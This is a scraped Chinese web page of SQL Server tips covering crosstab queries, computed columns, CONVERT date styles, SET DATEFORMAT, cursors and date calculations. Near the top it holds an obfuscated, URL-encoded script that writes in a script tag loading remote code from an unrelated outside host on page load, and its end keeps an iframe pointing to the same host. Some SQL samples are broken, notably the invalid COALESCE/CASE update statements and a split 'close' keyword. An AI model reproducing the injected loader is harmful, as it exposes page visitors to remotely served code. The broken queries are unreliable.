HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
SQL SERVER tips
1判断一个表或视图是否在 数据库中
if exists (select * from sysobjects where name='v1' and xtype='V')
drop view v1
go
sysobjects是一个系统表，如果判断对象是table，则xtype='U'
如果是trigger则xtype='TR'
2用sql建立交叉表
一个常见的例子
http://iouniuniu.cnblogs.com/archive/2005/10/24/5238.html
有时候需要将结果旋转以便在水平方向显示列，水平方向显示行，即所谓的交叉表（PrvotTable）。在SQL显示它也比较的简单：
1：结果确定的交叉表：
Year Quarter Amount（表Prvot）
---- ------- ------
1990 1 1.1
1990 2 1.2 显示成： Year Q1 Q2 Q3 Q4
1990 3 1.3 ----- --- ---- --- ---
1990 4 1.4 1990 1.1 1.2 1.3 1.4
因为Quarter是固定的，姑且称其为结果确定的交叉表吧。实现的方法如下：
SELECT Year,
SUM(CASE Quarter WHEN 1 THEN Amount ELSE 0 END) AS Q1,
SUM(CASE Quarter WHEN 2 THEN Amount ELSE 0 END) AS Q2,
SUM(CASE Quarter WHEN 3 THEN Amount ELSE 0 END) AS Q3,
SUM(CASE Quarter WHEN 4 THEN Amount ELSE 0 END) AS Q4
FROM Prvot
GROUP BY Year（具体参考SQL的帮助，搜索
交叉数据表
即可）
2：结果不确定的交叉表：
假如Quarter是动态的变动的，那么就不能简单的使用上述的case...when了，可以构造动态的SQL语句，来实现上述的SUM语 句。
declare @goodscode varchar(20)
declare @goodsname varchar(40)
declare @str varchar(2000)
set @str = ''
declare goods_cur cursor for
select goodscode,goodsname
from pub_goods
order by goodscode
open goods_cur
fetch next from goods_cur into @goodscode,@goodsname
while @@fetch_status = 0
begin
set @str = @str + 'sum(case goodscode when ''' + @goodscode + ''' then targetqty else 0 end) as ''' + @goodsname + ''','
fetch next from goods_cur into @goodscode,@goodsname
end
c
lose goods_cur
deallocate goods_cur
set @str = substring(@str,1,len(@str)-1)
exec('select districtcode,' + @str + ' from ( select distinct districtcode,goodscode,targetqty from report_hospital_use where
districtcode is not null ) as t group by districtcode')
3：现在的问题是，
能不能不使用游标来实现上述的SUM语句的构造过程
。
一个更复杂的例子（待补充）
4在表的定义中，可以定义一种字段（列）
，该类字段的时间是通过其他字段的计算来获取的，在sql server的文档中称为
计算列computed column
该字段的定义是一个表达式，在sql中表达为
f1 as f2+f3+f4，在可视化建表的过程中在屏幕下面的‘公式’里面设置f2+f3+f4
表达式以其他非计算列为参数，还包括常量，还可以使用系统函数。不能引用其他表的列或使用子查询，不能在主健，唯一健，外健，另一个列的default子句中使用计算列。
计算列不能直接修改或插入，而是计算得到的。
视图是实现列的首选（？）
5时间，日期的相关计算
CONVERT(nvarchar(10),count_time,121): CONVERT为日期转换函数，一般就是在时间类型(datetime,smalldatetime)与字符串类型(nchar,nvarchar,char,varchar)相互转换的时候才用到的函数.3个参数，第1个参数为，转换后的大小，第2个为，转换日期的字段或函数，第3个为转换的格式：
- | 0 or 100 | mon dd yyyy hh:miAM(或PM)
-------------------------------------------------------------------------------------------------
1 | 101 | mm/dd/yy
-------------------------------------------------------------------------------------------------
2 | 102 | yy-mm-dd
-------------------------------------------------------------------------------------------------
3 | 103 | dd/mm/yy
-------------------------------------------------------------------------------------------------
4 | 104 | dd-mm-yy
-------------------------------------------------------------------------------------------------
5 | 105 | dd-mm-yy
-------------------------------------------------------------------------------------------------
6 | 106 | dd mon yy
-------------------------------------------------------------------------------------------------
7 | 107 | mon dd,yy
-------------------------------------------------------------------------------------------------
8 | 108 | hh:mm:ss
-------------------------------------------------------------------------------------------------
- | 9 or 109 | mon dd yyyy hh:mi:ss:mmmmAM(或PM)
-------------------------------------------------------------------------------------------------
10 | 110 | mm-dd-yy
-------------------------------------------------------------------------------------------------
11 | 111 | yy/mm/dd
-------------------------------------------------------------------------------------------------
12 | 112 | yymmdd
-------------------------------------------------------------------------------------------------
- | 13 or 113 | dd mon yyyy hh:mi:ss:mmm(24小时制)
-------------------------------------------------------------------------------------------------
14 | 114 | hh:mi:ss:mmm(24小时制)
-------------------------------------------------------------------------------------------------
- | 20 or 120 | yyyy-mm-dd hh:mi:ss(24小时制)
-------------------------------------------------------------------------------------------------
- | 21 or 121 | yyyy-mm-dd hh:mi:ss:mmm(24小时制)
-------------------------------------------------------------------------------------------------
例子：select convert（char(10),getdate(),120)
结果：2006-08-25
另外，关于时间，日期的计算还有year（），month(),dateapart,等在sql server中查找时间函数可以查到更多函数。
6获取表中所有列的名字
select name from syscolumns where id = object_id('yourTableName');
但是这样获得的结果是按name的字母排序的，所以为了按设计时的顺序获得列名，应该
select name from syscolumns where id = object_id('yourTableName') order by colorder
7关于元数据函数的问题
元数据函数返回有关数据库和数据库对象的信息。
COL_LENGTH
fn_listextendedproperty
COL_NAME
FULLTEXTCATALOGPROPERTY
COLUMNPROPERTY
FULLTEXTSERVICEPROPERTY
DATABASEPROPERTY
INDEX_COL
DATABASEPROPERTYEX
INDEXKEY_PROPERTY
DB_ID
INDEXPROPERTY
DB_NAME
OBJECT_ID
FILE_ID
OBJECT_NAME
FILE_NAME
OBJECTPROPERTY
FILEGROUP_ID
@@PROCID
FILEGROUP_NAME
SQL_VARIANT_PROPERTY
FILEGROUPPROPERTY
TYPEPROPERTY
FILEPROPERTY
所有元数据函数都具有不确定性。每次用一组特定的输入值调用它们时，所返回的结果不总是相同。
8错误:备份集中备份的数据库与现有数据库 ‘xxx’不同
还原是看一下“选项”－－“将数据库文件还原为：”列表里各文件的“物理文件名”由于原来的机器上的安装目录和你的机器可能不同，要改一下。例如：Z:/Program Files/Microsoft SQL Server/MSSQL/data/xxx.ldf 改为 D:/Program Files/Microsoft SQL Server/MSSQL/data/xxx.ldf
选上“在现有数据库上强制还原”
9打不开企业管理器
http://www.devdao.com/article/339595.html
症状: windows2003系统,点击sql server 2000 企业管理器.结果出现警告框说MMC cannot open the file "C:/Program Files/Microsoft SQL Server/80/Tools/Binn/sql server enterprise manager.msc",...
解法: 删掉C:/Documents and Settings/YourUserName/Application Data/Microsoft/MMC/SQL Server Enterprise Manager
备注: 这只是对我适用的解决办法.还可能是权限等问题.
10将foxpro的dbf数据文件转换为ms sql的表
http://www.xiaoa.net/DBF/SQL/32/Server/32/286007
--如果TableName 不存在
Select * Into TableName from openrowset('MICROSOFT.JET.OLEDB.4.0'
,'dBase 5.0;DATABASE=D:/','select * from [TEST.DBF]')
--如果TableName 存在
Insert TableName Select * from openrowset('MICROSOFT.JET.OLEDB.4.0'
,'dBase 5.0;DATABASE=D:/','select * from [TEST.DBF]')
问题：如果将本地的dbf转换到远程的sql服务器中时，出错！
11 将表在两个数据库服务器间转移
有个本地数据库服务器，一个注册在本地的远程数据库服务器，要在两个服务器间转移表，最简单的方法是用sql server自带的导出数据功能（导入也可以。）。
12 日期时间数据有三种格式，
日期的输入格式很多大致可分为三类
??
英文
+
数字格式
此类格式中月份可用英文全名或缩写且不区分大小写年和月日之间可不用逗号
年份可为
4
位或
2
位当其为两位时若值小于
50
则视为
20xx
年若大于或等于
50
则
视为
19xx
年若日部分省略则视为当月的
1
号以下格式均为正确的日期格式
June 21 2000
Oct 1 1999
January 2000 2000 February
2000
May 1 2000
1 Sep 99
June July 00
??
数字
+
分隔符格式
允许把斜杠
/
连接符
-
和小数点
.
作为用数字表示的年月日之间的分
隔符如
YMD 2000/6/22 2000-6-22 2000.6.22
MDY
3/5/2000
3-5-2000
3.5.2000
DMY
31/12/1999
31-12-1999
31.12.2000
??
纯数字格式
在输入时间时必须按小时分钟秒毫秒的顺序来输入在其间用冒号
隔开但可将毫秒部分用小数点
.
分隔其后第一位数字代表十分之一秒第二位数
字代表百分之一秒第三位数字代表千分之一秒当使用
12
小时制时用
AM am
和
PM pm
分别指定时间是午前或午后若不指定系统默认为
AM AM
与
PM
均不区
分大小写如
3:5:7.2pm
下午
3
时
5
分
7
秒
200
毫秒
10:23:5.123Am
上午
10
时
23
分
5
秒
123
毫秒
可以使用
SET DATEFORMAT
命令来设定系统默认的日期
-
时间格式
如
set dateformat YMD
go
update tab set sj='20060103' where no='27'
go
http://book.csdn.net/bookfiles/128/1001284363.shtml
SET DATEFORMAT
SET DATEFORMAT
设置用于输入
datetime
或
smalldatetime
数据的日期部分（月
/
日
/
年）的顺序。仅用在将字符串转换为日期值时的解释中，它对日期值的显示没有影响。
SET DATEFORMAT
的具体语法如下：
SET DATEFORMAT { format | @format_var }
其中参数
format | @format_var
是日期部分的顺序。有效参数包括
mdy
、
dmy
、
ymd
、
ydm
、
myd
和
dym
。
SET DATEFORMAT
的设置是在执行或运行时设置，而不是在分析时设置。它仅作用于当前会话环境，当前会话环境关闭后自动失效。
SET DATEFORMAT
设置中有几个需要注意的地方。
（
1
）
SET DATEFORMAT
设置对使用
CONVERT
把字符型日期转换为日期的处理也具有影响，但不影响明确指定了
style
的
CONVERT
处理。
例如，在下面的示例中，第一个
CONVERT
转换未指定
style
，转换的结果受
SET DATAFORMAT
的影响，第二个
CONVERT
转换指定了
style
，转换结果受
style
的影响。
--
设置输入日期顺序为
日
/
月
/
年
SET DATEFORMAT DMY
--
不指定
Style
参数的
CONVERT
转换将受到
SET DATEFORMAT
的影响
SELECT CONVERT(datetime,'2-1-2005')
--
结果
: 2005-01-02 00:00:00.000
--
指定
Style
参数的
CONVERT
转换不受
SET DATEFORMAT
的影响
SELECT CONVERT(datetime,'2-1-2005',101)
--
结果
: 2005-02-01 00:00:00.000
（
2
）
如果输入的日期包含了世纪部分，则对日期进行解释处理时，年份的解释不受
SET DATEFORMAT
设置的影响。
例如，在下面的代码中，同样的
SET DATEFORMAT
设置，输入日期的世纪部分与不输入日期的世纪部分，解释的日期结果不同。
DECLARE @dt datetime
--
设置
SET DATEFORMAT
为
:
月日年
SET DATEFORMAT MDY
--
输入的日期中指定世纪部分
SET @dt='01-2002-03'
SELECT @dt
--
结果
: 2002-01-03 00:00:00.000
--
输入的日期中不指定世纪部分
SET @dt='01-02-03'
SELECT @dt
--
结果
: 2003-01-02 00:00:00.000
（
3
）
如果输入的日期不包含日期分隔符
，
那么
SQL Server
在对日期进行解释时
，
将忽略
SET DATEFORMAT
的设置。
例如
，
在下面的代码中
，
不包含日期分隔符的字符日期
，
在不同的
SET DATEFORMAT
设置下
，其
解释的结果是一样的。
DECLARE @dt datetime
--
设置
SET DATEFORMAT
为
:
月日年
SET DATEFORMAT MDY
SET @dt='010203'
SELECT @dt
--
结果
: 2001-02-03 00:00:00.000
--
设置
SET DATEFORMAT
为
:
日月年
SET DATEFORMAT DMY
SET @dt='010203'
SELECT @dt
--
结果
: 2001-02-03 00:00:00.000
--
输入的日期中包含日期分隔符
SET @dt='01-02-03'
SELECT @dt
--
结果
: 2003-02-01 00:00:00.000
13在sql server里面select出来的数据集，加上序号
select IDENTITY(int, 1, 1)as id,* into #temp from table1
select * from #temp
14 一些特殊日期的获取
8. SQL Server日期计算
a. 一个月的第一天
SELECT DATEADD(mm, DATEDIFF(mm,0,getdate()), 0)
b. 本周的星期一
SELECT DATEADD(wk, DATEDIFF(wk,0,getdate()), 0)
c. 一年的第一天
SELECT DATEADD(yy, DATEDIFF(yy,0,getdate()), 0)
d. 季度的第一天
SELECT DATEADD(qq, DATEDIFF(qq,0,getdate()), 0)
e. 上个月的最后一天
SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(mm,0,getdate()), 0))
f. 去年的最后一天
SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate()), 0))
g. 本月的最后一天
SELECT dateadd(ms,-3,DATEADD(mm, DATEDIFF(m,0,getdate())+1, 0))
h. 本月的第一个星期一
select DATEADD(wk, DATEDIFF(wk,0,
dateadd(dd,6-datepart(day,getdate()),getdate())
), 0)
i. 本年的最后一天
SELECT dateadd(ms,-3,DATEADD(yy, DATEDIFF(yy,0,getdate())+1, 0))。
15 用sql语句返回字符串
select ltrim('cannot insert')
可以用这个语句起到编程语言中类型提示对话框的作用。
16用trigger禁止对表更新
create trigger forT1
on t
instead of update
as
begin
select ltrim('cannot update')
end
如果返回‘cannot update’，就知道table被加了trigger。
17将查询的结果加入序号
select IDENTITY(int, 1, 1)as id ,* from tab
18 关于update...set... select的问题
http://www.itpub.net/334218,1.html
quote:
最初由 wchal 发布
各位大俠:
麻煩看看下面這句
Update table_a set a_field_1 = ( select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2)
現有以下幾種情況:
1、 如果確實table_a中的每行都要依照嵌套select中的返回值來修改,就沒問題
2、 如果嵌套select中的返回值為null值時不要更改就要這樣:
Update table_a set a_field_1 = ( select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2) where exists (select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2)
這個有沒有好的辦法??
3、 如果返回值為一個特定值不要更改時,不要update table_a,則要改為:
Update table_a set a_field_1 = ( select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2) where 特定值 <> (select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2)
這個又有什麼好的辦法?
謝!
实际的语法而已
这种操作用两个要点, 一个是确定要修改的行, 另一个是要确定修改的值, 这两件事最好分开来考虑, 否则, 会有麻烦地
问题2 思维方式上很典型地违背了上述原则
比较好的思路是, 考虑当检索为NULL的时候的返回值为原值
Update table_a set a_field_1 =COALESCE( (select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2),set a_field_1 )
问题3
Update table_a set a_field_1 =
CASE WHEN 特定值=(select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2),a_field_1 ) AA
THEN a_field_1
ELSE
(select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2),set a_field_1 )
END
对于一些版本的SQL SERVER 2000, 在COALESCE中使用集计函数时会出错, 这是一个BUG可以用CASE回避
Update table_a set a_field_1 = CASE WHEN (select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2) AA
THEN (select b_field_1 from table_b where table_a.a_field_2 = table_b.b_field_2)
ELSE a_field_1
END
19 一个根据一张表批量更新另一张表的问题。
2个表
news表
Nclass表
Nclass表中字段Nclass与news中的NclassName对应
Nclass表中字段id与news中的NclassID对应(这是我要更新的字段)
我需要通过news表和nclass表中相对应的字段nclass和nclassname来
更新news
表中的nclassid为nclass表中的id
update a set a.nclassid=b.id from
news
a ,Nclass b
where a.NclassName=b.nclass
20 利用游标对一个数据集进行循环处理
http://topic.csdn.net/t/20041022/10/3480403.html
具体说就是对于select * from table
用while (...){
让这个select逐行循环
处理这个select中的数据
}
用游标，给你个小例子
declare Name_crsr cursor
for
select A1,A2 from tbname
open Name_crsr
fetch next from Name_crsr
while @@fetch_status = 0
begin
......
fetch next from Name_crsr
end
close Name_crsr
deallocate Name_crsr
delcare @x varchar(100),@id int
declare abc cursor
for
select @x=x,@id=id from tbname
open abc
fetch next abc
while @@fetch_status = 0
begin
if @x="a"
begin
update tbname set x="b" where id=@id
end
fetch next from abc
end
close abc
deallocate abc
看看這個實例吧:
--建立數據
create table test2(sysno char(10),prgno char(10),prgname char(40))
insert into test2 select 'mis','M','固定資產系統'
union select'mis','O','合同管理系統'
union select'mis','Q','項目管理系統'
union select'mis','R','系統維護與用戶管理'
union select'mis','A','人事薪資管理系統'
go
--查詢語句
declare A cursor
for
select * from test2
open A
fetch next from A
while @@fetch_status=0
begin
fetch next from A
end
close A
deallocate A
go
--顯示結果
sysno prgno prgname
mis M 固定資產系統
sysno prgno prgname
mis O 合同管理系統
sysno prgno prgname
mis Q 項目管理系統
sysno prgno prgname
mis R 系統維護與用戶管理
sysno prgno prgname
mis A 人事薪資管理系統
21 数据在两个表之间的转移
--如果表已经存在
insert into 新表 select * from 旧表
--如果不存在表
select * into 新表 from
旧表
insert into gztab_jbx (字段名) select cname from bdtab_fieldsmap where tname='gztab_dagz' and
(t>=1971 and t <=2061)
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
727
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
